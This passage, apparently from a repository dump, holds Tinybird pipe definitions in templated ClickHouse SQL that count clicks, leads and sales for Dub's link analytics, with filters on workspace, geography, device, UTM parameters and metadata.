'utm_campaign=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_campaign=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'utm_term' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_term=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_term=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'utm_content' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_content=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_content=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'domain' %}\n                        {% if operator == 'IN' %} AND link_id IN (SELECT link_id FROM workspace_links WHERE domain IN {{ Array(values, 'String') }})\n                        {% elif operator == 'NOT IN' %} AND link_id NOT IN (SELECT link_id FROM workspace_links WHERE domain IN {{ Array(values, 'String') }})\n                        {% end %}\n                    {% elif field == 'tagId' %}\n                        {% if operator == 'IN' %} AND link_id IN (SELECT link_id FROM workspace_links WHERE arrayIntersect(tag_ids, {{ Array(values, 'String') }}) != [])\n                        {% elif operator == 'NOT IN' %} AND link_id NOT IN (SELECT link_id FROM workspace_links WHERE arrayIntersect(tag_ids, {{ Array(values, 'String') }}) != [])\n                        {% end %}\n                    {% elif field == 'folderId' %}\n                        {% if operator == 'IN' %} AND link_id IN (SELECT link_id FROM workspace_links WHERE folder_id IN {{ Array(values, 'String') }})\n                        {% elif operator == 'NOT IN' %} AND link_id NOT IN (SELECT link_id FROM workspace_links WHERE folder_id IN {{ Array(values, 'String') }})\n                        {% end %}\n                    {% end %}\n                {% end %}\n            {% end %}\n        {% end %}\n\n\n\nNODE count_leads\nSQL >\n\n    %\n    SELECT 'count' as groupByField, COUNT(*) as leads\n    FROM dub_lead_events_mv\n    WHERE\n        true\n        {% if defined(workspaceId) %} AND workspace_id = {{ workspaceId }} {% end %}\n        {% if defined(linkId) %}\n            {% if defined(linkIdOperator) and String(linkIdOperator) == 'NOT IN' %}\n                AND link_id NOT IN {{ Array(linkId, 'String') }}\n            {% else %}\n                AND link_id IN {{ Array(linkId, 'String') }}\n            {% end %}\n        {% elif defined(programId) or defined(partnerId) or defined(groupId) or defined(\n            tenantId\n        ) or defined(folderId) or defined(domain) or defined(\n            tagId\n        ) or defined(\n            root\n        ) %} AND link_id in (SELECT link_id from workspace_links)\n        {% end %}\n        {% if defined(customerId) %} AND customer_id = {{ String(customerId) }} {% end %}\n        {% if defined(continent) %} AND continent = {{ continent }} {% end %}\n        {% if defined(country) %} AND country = {{ country }} {% end %}\n        {% if defined(region) %} AND region = {{ region }} {% end %}\n        {% if defined(city) %} AND city = {{ city }} {% end %}\n        {% if defined(device) %} AND device = {{ device }} {% end %}\n        {% if defined(browser) %} AND browser = {{ browser }} {% end %}\n        {% if defined(os) %} AND os = {{ os }} {% end %}\n        {% if defined(referer) %} AND referer = {{ referer }} {% end %}\n        {% if defined(refererUrl) %} AND splitByString('?', referer_url)[1] = {{ refererUrl }} {% end %}\n        {% if defined(utm_source) %}\n            AND url LIKE concat('%', 'utm_source=', encodeURLFormComponent({{ String(utm_source) }}), '%')\n        {% end %}\n        {% if defined(utm_medium) %}\n            AND url LIKE concat('%', 'utm_medium=', encodeURLFormComponent({{ String(utm_medium) }}), '%')\n        {% end %}\n        {% if defined(utm_campaign) %}\n            AND url LIKE concat('%', 'utm_campaign=', encodeURLFormComponent({{ String(utm_campaign) }}), '%')\n        {% end %}\n        {% if defined(utm_term) %}\n            AND url LIKE concat('%', 'utm_term=', encodeURLFormComponent({{ String(utm_term) }}), '%')\n        {% end %}\n        {% if defined(utm_content) %}\n            AND url LIKE concat('%', 'utm_content=', encodeURLFormComponent({{ String(utm_content) }}), '%')\n        {% end %}\n        {% if defined(url) %} AND splitByString('?', url)[1] = {{ url }} {% end %}\n        {% if defined(start) %} AND timestamp >= {{ DateTime(start) }} {% end %}\n        {% if defined(end) %} AND timestamp <= {{ DateTime(end) }} {% end %}\n        {% if defined(filters) %}\n            {% for item in JSON(filters, '[]') %}\n                {% if item.get('operand', '').startswith('metadata.') %}\n                    {% set metadataKey = item.get('operand', '').split('.')[1] %}\n                    {% set operator = item.get('operator', 'equals') %}\n                    {% set value = item.get('value', '') %}\n                    {% if operator == 'equals' %}\n                        AND JSONExtractString(metadata, {{ metadataKey }}) = {{ value }}\n                    {% elif operator == 'notEquals' %}\n                        AND JSONExtractString(metadata, {{ metadataKey }}) != {{ value }}\n                    {% elif operator == 'greaterThan' %}\n                        AND toFloat64OrNull(JSONExtractString(metadata, {{ metadataKey }})) > toFloat64OrNull({{ value }})\n                    {% elif operator == 'lessThan' %}\n                        AND toFloat64OrNull(JSONExtractString(metadata, {{ metadataKey }})) < toFloat64OrNull({{ value }})\n                    {% elif operator == 'greaterThanOrEqual' %}\n                        AND toFloat64OrNull(JSONExtractString(metadata, {{ metadataKey }})) >= toFloat64OrNull({{ value }})\n                    {% elif operator == 'lessThanOrEqual' %}\n                        AND toFloat64OrNull(JSONExtractString(metadata, {{ metadataKey }})) <= toFloat64OrNull({{ value }})\n                    {% end %}\n                {% elif item.get('field', '') %}\n                    {% set field = item.get('field', '') %}\n                    {% set operator = item.get('operator', 'IN') %}\n                    {% set values = item.get('values', []) %}\n                    {% if field == 'country' %}\n                        {% if operator == 'IN' %} AND country IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND country NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'city' %}\n                        {% if operator == 'IN' %} AND city IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND city NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'continent' %}\n                        {% if operator == 'IN' %} AND continent IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND continent NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'device' %}\n                        {% if operator == 'IN' %} AND device IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND device NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'browser' %}\n                        {% if operator == 'IN' %} AND browser IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND browser NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'os' %}\n                        {% if operator == 'IN' %} AND os IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND os NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'trigger' %}\n                        {% if operator == 'IN' %} AND trigger IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND trigger NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'referer' %}\n                        {% if operator == 'IN' %} AND referer IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND referer NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'refererUrl' %}\n                        {% if operator == 'IN' %} AND splitByString('?', referer_url)[1] IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND splitByString('?', referer_url)[1] NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'url' %}\n                        {% if operator == 'IN' %} AND splitByString('?', url)[1] IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND splitByString('?', url)[1] NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'utm_source' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_source=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_source=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'utm_medium' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_medium=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_medium=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'utm_campaign' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_campaign=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_campaign=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'utm_term' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_term=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_term=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'utm_content' %}\n                        {% if operator == 'IN' %}\n                            AND (0{% for val in values %} OR url LIKE concat('%', 'utm_content=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% elif operator == 'NOT IN' %}\n                            AND NOT (0{% for val in values %} OR url LIKE concat('%', 'utm_content=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                        {% end %}\n                    {% elif field == 'domain' %}\n                        {% if operator == 'IN' %} AND link_id IN (SELECT link_id FROM workspace_links WHERE domain IN {{ Array(values, 'String') }})\n                        {% elif operator == 'NOT IN' %} AND link_id NOT IN (SELECT link_id FROM workspace_links WHERE domain IN {{ Array(values, 'String') }})\n                        {% end %}\n                    {% elif field == 'tagId' %}\n                        {% if operator == 'IN' %} AND link_id IN (SELECT link_id FROM workspace_links WHERE arrayIntersect(tag_ids, {{ Array(values, 'String') }}) != [])\n                        {% elif operator == 'NOT IN' %} AND link_id NOT IN (SELECT link_id FROM workspace_links WHERE arrayIntersect(tag_ids, {{ Array(values, 'String') }}) != [])\n                        {% end %}\n                    {% elif field == 'folderId' %}\n                        {% if operator == 'IN' %} AND link_id IN (SELECT link_id FROM workspace_links WHERE folder_id IN {{ Array(values, 'String') }})\n                        {% elif operator == 'NOT IN' %} AND link_id NOT IN (SELECT link_id FROM workspace_links WHERE folder_id IN {{ Array(values, 'String') }})\n                        {% end %}\n                    {% end %}\n                {% end %}\n            {% end %}\n        {% end %}\n\n\n\nNODE first_sale_by_link_customer\nSQL >\n\n    %\n    SELECT workspace_id, link_id, customer_id, minMerge(first_sale_state) AS first_sale_ts\n    FROM dub_first_sale_mv\n    WHERE\n        workspace_id\n        = {{\n            String(\n                workspaceId,\n                'cl7pj5kq4006835rbjlt2ofka',\n                description=\"The unique ID for the workspace\",\n                required=True,\n            )\n        }}\n    GROUP BY workspace_id, link_id, customer_id\n\n\n\nNODE count_sales\nSQL >\n\n    %\n    SELECT 'count' as groupByField, sales, amount, amount AS saleAmount\n    FROM\n    (\n        SELECT\n            count() AS sales,\n            sum(amount) AS amount\n        FROM\n        (\n            SELECT\n                se.amount,\n                if(\n                    isNull(fs.first_sale_ts),\n                    'new',\n                    if(\n                        toUnixTimestamp64Milli(se.timestamp) = toUnixTimestamp64Milli(fs.first_sale_ts),\n                        'new',\n                        'recurring'\n                    )\n                ) AS sale_type\n            FROM dub_sale_events_mv AS se\n            LEFT JOIN first_sale_by_link_customer AS fs\n                USING (workspace_id, link_id, customer_id)\n            WHERE\n                true\n                {% if defined(workspaceId) %} AND se.workspace_id = {{ workspaceId }} {% end %}\n                {% if defined(linkId) %}\n                    {% if defined(linkIdOperator) and String(linkIdOperator) == 'NOT IN' %}\n                        AND se.link_id NOT IN {{ Array(linkId, 'String') }}\n                    {% else %}\n                        AND se.link_id IN {{ Array(linkId, 'String') }}\n                    {% end %}\n                {% elif defined(programId) or defined(partnerId) or defined(groupId) or defined(\n                    tenantId\n                ) or defined(folderId) or defined(domain) or defined(\n                    tagId\n                ) or defined(\n                    root\n                ) %} AND se.link_id in (SELECT link_id from workspace_links)\n                {% end %}\n                {% if defined(customerId) %} AND se.customer_id = {{ String(customerId) }} {% end %}\n                {% if defined(continent) %} AND se.continent = {{ continent }} {% end %}\n                {% if defined(country) %} AND se.country = {{ country }} {% end %}\n                {% if defined(region) %} AND se.region = {{ region }} {% end %}\n                {% if defined(city) %} AND se.city = {{ city }} {% end %}\n                {% if defined(device) %} AND se.device = {{ device }} {% end %}\n                {% if defined(browser) %} AND se.browser = {{ browser }} {% end %}\n                {% if defined(os) %} AND se.os = {{ os }} {% end %}\n                {% if defined(referer) %} AND se.referer = {{ referer }} {% end %}\n                {% if defined(refererUrl) %} AND splitByString('?', se.referer_url)[1] = {{ refererUrl }} {% end %}\n                {% if defined(utm_source) %}\n                    AND se.url LIKE concat('%', 'utm_source=', encodeURLFormComponent({{ String(utm_source) }}), '%')\n                {% end %}\n                {% if defined(utm_medium) %}\n                    AND se.url LIKE concat('%', 'utm_medium=', encodeURLFormComponent({{ String(utm_medium) }}), '%')\n                {% end %}\n                {% if defined(utm_campaign) %}\n                    AND se.url LIKE concat('%', 'utm_campaign=', encodeURLFormComponent({{ String(utm_campaign) }}), '%')\n                {% end %}\n                {% if defined(utm_term) %}\n                    AND se.url LIKE concat('%', 'utm_term=', encodeURLFormComponent({{ String(utm_term) }}), '%')\n                {% end %}\n                {% if defined(utm_content) %}\n                    AND se.url LIKE concat('%', 'utm_content=', encodeURLFormComponent({{ String(utm_content) }}), '%')\n                {% end %}\n                {% if defined(url) %} AND splitByString('?', se.url)[1] = {{ url }} {% end %}\n                {% if defined(start) %} AND se.timestamp >= {{ DateTime(start) }} {% end %}\n                {% if defined(end) %} AND se.timestamp <= {{ DateTime(end) }} {% end %}\n                {% if defined(filters) %}\n                    {% for item in JSON(filters, '[]') %}\n                        {% if item.get('operand', '').startswith('metadata.') %}\n                            {% set metadataKey = item.get('operand', '').split('.')[1] %}\n                            {% set operator = item.get('operator', 'equals') %}\n                            {% set value = item.get('value', '') %}\n                            {% if operator == 'equals' %}\n                                AND JSONExtractString(se.metadata, {{ metadataKey }}) = {{ value }}\n                            {% elif operator == 'notEquals' %}\n                                AND JSONExtractString(se.metadata, {{ metadataKey }}) != {{ value }}\n                            {% elif operator == 'greaterThan' %}\n                                AND toFloat64OrNull(JSONExtractString(se.metadata, {{ metadataKey }})) > toFloat64OrNull({{ value }})\n                            {% elif operator == 'lessThan' %}\n                                AND toFloat64OrNull(JSONExtractString(se.metadata, {{ metadataKey }})) < toFloat64OrNull({{ value }})\n                            {% elif operator == 'greaterThanOrEqual' %}\n                                AND toFloat64OrNull(JSONExtractString(se.metadata, {{ metadataKey }})) >= toFloat64OrNull({{ value }})\n                            {% elif operator == 'lessThanOrEqual' %}\n                                AND toFloat64OrNull(JSONExtractString(se.metadata, {{ metadataKey }})) <= toFloat64OrNull({{ value }})\n                            {% end %}\n                        {% elif item.get('field', '') %}\n                            {% set field = item.get('field', '') %}\n                            {% set operator = item.get('operator', 'IN') %}\n                            {% set values = item.get('values', []) %}\n                            {% if field == 'country' %}\n                                {% if operator == 'IN' %} AND se.country IN {{ Array(values, 'String') }}\n                                {% elif operator == 'NOT IN' %} AND se.country NOT IN {{ Array(values, 'String') }}\n                                {% end %}\n                            {% elif field == 'city' %}\n                                {% if operator == 'IN' %} AND se.city IN {{ Array(values, 'String') }}\n                                {% elif operator == 'NOT IN' %} AND se.city NOT IN {{ Array(values, 'String') }}\n                                {% end %}\n                            {% elif field == 'continent' %}\n                                {% if operator == 'IN' %} AND se.continent IN {{ Array(values, 'String') }}\n                                {% elif operator == 'NOT IN' %} AND se.continent NOT IN {{ Array(values, 'String') }}\n                                {% end %}\n                            {% elif field == 'device' %}\n                                {% if operator == 'IN' %} AND se.device IN {{ Array(values, 'String') }}\n                                {% elif operator == 'NOT IN' %} AND se.device NOT IN {{ Array(values, 'String') }}\n                                {% end %}\n                            {% elif field == 'browser' %}\n                                {% if operator == 'IN' %} AND se.browser IN {{ Array(values, 'String') }}\n                                {% elif operator == 'NOT IN' %} AND se.browser NOT IN {{ Array(values, 'String') }}\n                                {% end %}\n                            {% elif field == 'os' %}\n                                {% if operator == 'IN' %} AND se.os IN {{ Array(values, 'String') }}\n                                {% elif operator == 'NOT IN' %} AND se.os NOT IN {{ Array(values, 'String') }}\n                                {% end %}\n                            {% elif field == 'trigger' %}\n                                {% if operator == 'IN' %} AND se.trigger IN {{ Array(values, 'String') }}\n                                {% elif operator == 'NOT IN' %} AND se.trigger NOT IN {{ Array(values, 'String') }}\n                                {% end %}\n                            {% elif field == 'referer' %}\n                                {% if operator == 'IN' %} AND se.referer IN {{ Array(values, 'String') }}\n                                {% elif operator == 'NOT IN' %} AND se.referer NOT IN {{ Array(values, 'String') }}\n                                {% end %}\n                            {% elif field == 'refererUrl' %}\n                                {% if operator == 'IN' %} AND splitByString('?', se.referer_url)[1] IN {{ Array(values, 'String') }}\n                                {% elif operator == 'NOT IN' %} AND splitByString('?', se.referer_url)[1] NOT IN {{ Array(values, 'String') }}\n                                {% end %}\n                            {% elif field == 'url' %}\n                                {% if operator == 'IN' %} AND splitByString('?', se.url)[1] IN {{ Array(values, 'String') }}\n                                {% elif operator == 'NOT IN' %} AND splitByString('?', se.url)[1] NOT IN {{ Array(values, 'String') }}\n                                {% end %}\n                            {% elif field == 'utm_source' %}\n                                {% if operator == 'IN' %}\n                                    AND (0{% for val in values %} OR se.url LIKE concat('%', 'utm_source=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                                {% elif operator == 'NOT IN' %}\n                                    AND NOT (0{% for val in values %} OR se.url LIKE concat('%', 'utm_source=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                                {% end %}\n                            {% elif field == 'utm_medium' %}\n                                {% if operator == 'IN' %}\n                                    AND (0{% for val in values %} OR se.url LIKE concat('%', 'utm_medium=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                                {% elif operator == 'NOT IN' %}\n                                    AND NOT (0{% for val in values %} OR se.url LIKE concat('%', 'utm_medium=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                                {% end %}\n                            {% elif field == 'utm_campaign' %}\n                                {% if operator == 'IN' %}\n                                    AND (0{% for val in values %} OR se.url LIKE concat('%', 'utm_campaign=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                                {% elif operator == 'NOT IN' %}\n                                    AND NOT (0{% for val in values %} OR se.url LIKE concat('%', 'utm_campaign=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                                {% end %}\n                            {% elif field == 'utm_term' %}\n                                {% if operator == 'IN' %}\n                                    AND (0{% for val in values %} OR se.url LIKE concat('%', 'utm_term=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                                {% elif operator == 'NOT IN' %}\n                                    AND NOT (0{% for val in values %} OR se.url LIKE concat('%', 'utm_term=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                                {% end %}\n                            {% elif field == 'utm_content' %}\n                                {% if operator == 'IN' %}\n                                    AND (0{% for val in values %} OR se.url LIKE concat('%', 'utm_content=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                                {% elif operator == 'NOT IN' %}\n                                    AND NOT (0{% for val in values %} OR se.url LIKE concat('%', 'utm_content=', encodeURLFormComponent({{ String(val) }}), '%'){% end %})\n                                {% end %}\n                            {% elif field == 'domain' %}\n                                {% if operator == 'IN' %} AND se.link_id IN (SELECT link_id FROM workspace_links WHERE domain IN {{ Array(values, 'String') }})\n                                {% elif operator == 'NOT IN' %} AND se.link_id NOT IN (SELECT link_id FROM workspace_links WHERE domain IN {{ Array(values, 'String') }})\n                                {% end %}\n                            {% elif field == 'tagId' %}\n                                {% if operator == 'IN' %} AND se.link_id IN (SELECT link_id FROM workspace_links WHERE arrayIntersect(tag_ids, {{ Array(values, 'String') }}) != [])\n                                {% elif operator == 'NOT IN' %} AND se.link_id NOT IN (SELECT link_id FROM workspace_links WHERE arrayIntersect(tag_ids, {{ Array(values, 'String') }}) != [])\n                                {% end %}\n                            {% elif field == 'folderId' %}\n                                {% if operator == 'IN' %} AND se.link_id IN (SELECT link_id FROM workspace_links WHERE folder_id IN {{ Array(values, 'String') }})\n                                {% elif operator == 'NOT IN' %} AND se.link_id NOT IN (SELECT link_id FROM workspace_links WHERE folder_id IN {{ Array(values, 'String') }})\n                                {% end %}\n                            {% end %}\n                        {% end %}\n                    {% end %}\n                {% end %}\n        ) AS typed\n        WHERE\n            true\n            {% if defined(saleType) %} AND typed.sale_type = {{ String(saleType) }} {% end %}\n    ) AS subquery\n\n\n\nNODE count_composite\nSQL >\n\n    %\n    SELECT 'count' as groupByField, clicks, leads, sales, amount, saleAmount\n    FROM count_clicks, count_leads, count_sales\n\n\n\nNODE endpoint\nSQL >\n\n    %\n    SELECT *\n    FROM\n        {% if eventType == 'clicks' %} count_clicks\n        {% elif eventType == 'leads' %} count_leads\n        {% elif eventType == 'sales' %} count_sales\n        {% elif eventType == 'composite' %} count_composite\n        {% else %} count_clicks\n        {% end %}\n\n\n"
  },
  {
    "path": "packages/tinybird/pipes/v4_events.pipe",
    "content": "DESCRIPTION >\n\tTop countries\n\n\nTAGS \"Dub Endpoints\"\n\nNODE workspace_links\nSQL >\n\n    %\n    SELECT link_id\n    FROM dub_links_metadata_latest FINAL\n    WHERE\n        workspace_id\n        = {{\n            String(\n                workspaceId,\n                'cl7pj5kq4006835rbjlt2ofka',\n                description=\"The unique ID for the workspace\",\n                required=True,\n            )\n        }}\n        AND deleted == 0\n        {% if defined(programId) %} AND program_id = {{ programId }} {% end %}\n        {% if defined(partnerId) %}\n            {% if defined(partnerIdOperator) and String(partnerIdOperator) == 'NOT IN' %}\n                AND partner_id NOT IN {{ Array(partnerId, 'String') }}\n            {% else %}\n                AND partner_id IN {{ Array(partnerId, 'String') }}\n            {% end %}\n        {% end %}\n        {% if defined(groupId) %}\n            {% if defined(groupIdOperator) and String(groupIdOperator) == 'NOT IN' %}\n                AND partner_group_id NOT IN {{ Array(groupId, 'String') }}\n            {% else %}\n                AND partner_group_id IN {{ Array(groupId, 'String') }}\n            {% end %}\n        {% end %}\n        {% if defined(tenantId) %}\n            {% if defined(tenantIdOperator) and String(tenantIdOperator) == 'NOT IN' %}\n                AND tenant_id NOT IN {{ Array(tenantId, 'String') }}\n            {% else %}\n                AND tenant_id IN {{ Array(tenantId, 'String') }}\n            {% end %}\n        {% end %}\n        {% if defined(domain) %}\n            {% if defined(domainOperator) and String(domainOperator) == 'NOT IN' %}\n                AND domain NOT IN {{ Array(domain, 'String') }}\n            {% else %}\n                AND domain IN {{ Array(domain, 'String') }}\n            {% end %}\n        {% end %}\n        {% if defined(tagId) %}\n            {% if defined(tagIdOperator) and String(tagIdOperator) == 'NOT IN' %}\n                AND length(arrayFilter(x -> x NOT IN {{ Array(tagId, 'String') }}, tag_ids)) = length(tag_ids)\n            {% else %}\n                AND arrayIntersect(tag_ids, {{ Array(tagId, 'String') }}) != []\n            {% end %}\n        {% end %}\n        {% if defined(folderId) %}\n            {% if defined(folderIdOperator) and String(folderIdOperator) == 'NOT IN' %}\n                AND folder_id NOT IN {{ Array(folderId, 'String') }}\n            {% else %}\n                AND folder_id IN {{ Array(folderId, 'String') }}\n            {% end %}\n        {% end %}\n        {% if defined(root) %}\n            {% if Boolean(root) == 1 %} AND key = '_root' {% else %} AND key != '_root' {% end %}\n        {% end %}\n\n\n\nNODE click_events\nSQL >\n\n    %\n    SELECT\n        *,\n        splitByString('?', referer_url)[1] as referer_url_processed,\n        CONCAT(country, '-', region) as region_processed,\n        'click' as event\n    FROM\n        {% if defined(customerId) %} dub_click_events_id\n        {% else %} dub_click_events_mv\n        {% end %}\n        {% if defined(customerId) %}\n            PREWHERE click_id IN (\n                SELECT DISTINCT click_id\n                FROM dub_lead_events_mv\n                WHERE customer_id = {{ String(customerId) }}\n            )\n        {% end %}\n    WHERE\n        true\n        {% if defined(workspaceId) %} AND workspace_id = {{ workspaceId }} {% end %}\n        {% if defined(linkId) %}\n            {% if defined(linkIdOperator) and String(linkIdOperator) == 'NOT IN' %}\n                AND link_id NOT IN {{ Array(linkId, 'String') }}\n            {% else %}\n                AND link_id IN {{ Array(linkId, 'String') }}\n            {% end %}\n        {% elif defined(programId) or defined(partnerId) or defined(groupId) or defined(\n            tenantId\n        ) or defined(folderId) or defined(domain) or defined(\n            tagId\n        ) or defined(\n            root\n        ) %} AND link_id in (SELECT link_id from workspace_links)\n        {% end %}\n        {% if defined(continent) %} AND continent = {{ continent }} {% end %}\n        {% if defined(country) %} AND country = {{ country }} {% end %}\n        {% if defined(region) %} AND region = {{ region }} {% end %}\n        {% if defined(city) %} AND city = {{ city }} {% end %}\n        {% if defined(device) %} AND device = {{ device }} {% end %}\n        {% if defined(browser) %} AND browser = {{ browser }} {% end %}\n        {% if defined(os) %} AND os = {{ os }} {% end %}\n        {% if defined(trigger) %} AND trigger = {{ trigger }} {% end %}\n        {% if defined(referer) %} AND referer = {{ referer }} {% end %}\n        {% if defined(refererUrl) %} AND splitByString('?', referer_url)[1] = {{ refererUrl }} {% end %}\n        {% if defined(utm_source) %}\n            AND url LIKE concat('%', 'utm_source=', encodeURLFormComponent({{ String(utm_source) }}), '%')\n        {% end %}\n        {% if defined(utm_medium) %}\n            AND url LIKE concat('%', 'utm_medium=', encodeURLFormComponent({{ String(utm_medium) }}), '%')\n        {% end %}\n        {% if defined(utm_campaign) %}\n            AND url LIKE concat('%', 'utm_campaign=', encodeURLFormComponent({{ String(utm_campaign) }}), '%')\n        {% end %}\n        {% if defined(utm_term) %}\n            AND url LIKE concat('%', 'utm_term=', encodeURLFormComponent({{ String(utm_term) }}), '%')\n        {% end %}\n        {% if defined(utm_content) %}\n            AND url LIKE concat('%', 'utm_content=', encodeURLFormComponent({{ String(utm_content) }}), '%')\n        {% end %}\n        {% if defined(url) %} AND splitByString('?', url)[1] = {{ url }} {% end %}\n        {% if defined(start) %} AND timestamp >= {{ DateTime64(start) }} {% end %}\n        {% if defined(end) %} AND timestamp <= {{ DateTime64(end) }} {% end %}\n        {% if defined(filters) %}\n            {% for item in JSON(filters, '[]') %}\n                {% if item.get('operand', '').startswith('metadata.') %}\n                    {% set metadataKey = item.get('operand', '').split('.')[1] %}\n                    {% set operator = item.get('operator', 'equals') %}\n                    {% set value = item.get('value', '') %}\n                    {% if operator == 'equals' %}\n                        AND JSONExtractString(metadata, {{ metadataKey }}) = {{ value }}\n                    {% elif operator == 'notEquals' %}\n                        AND JSONExtractString(metadata, {{ metadataKey }}) != {{ value }}\n                    {% elif operator == 'greaterThan' %}\n                        AND toFloat64OrNull(JSONExtractString(metadata, {{ metadataKey }})) > toFloat64OrNull({{ value }})\n                    {% elif operator == 'lessThan' %}\n                        AND toFloat64OrNull(JSONExtractString(metadata, {{ metadataKey }})) < toFloat64OrNull({{ value }})\n                    {% elif operator == 'greaterThanOrEqual' %}\n                        AND toFloat64OrNull(JSONExtractString(metadata, {{ metadataKey }})) >= toFloat64OrNull({{ value }})\n                    {% elif operator == 'lessThanOrEqual' %}\n                        AND toFloat64OrNull(JSONExtractString(metadata, {{ metadataKey }})) <= toFloat64OrNull({{ value }})\n                    {% end %}\n                {% elif item.get('field', '') %}\n                    {% set field = item.get('field', '') %}\n                    {% set operator = item.get('operator', 'IN') %}\n                    {% set values = item.get('values', []) %}\n                    {% if field == 'country' %}\n                        {% if operator == 'IN' %} AND country IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND country NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'city' %}\n                        {% if operator == 'IN' %} AND city IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND city NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'continent' %}\n                        {% if operator == 'IN' %} AND continent IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND continent NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'device' %}\n                        {% if operator == 'IN' %} AND device IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND device NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'browser' %}\n                        {% if operator == 'IN' %} AND browser IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND browser NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'os' %}\n                        {% if operator == 'IN' %} AND os IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND os NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'trigger' %}\n                        {% if operator == 'IN' %} AND trigger IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND trigger NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'referer' %}\n                        {% if operator == 'IN' %} AND referer IN {{ Array(values, 'String') }}\n                        {% elif operator == 'NOT IN' %} AND referer NOT IN {{ Array(values, 'String') }}\n                        {% end %}\n                    {% elif field == 'refererUrl' %}\n                        {% if operator == 'IN' %} AND splitByString('?', referer_url)[1] IN 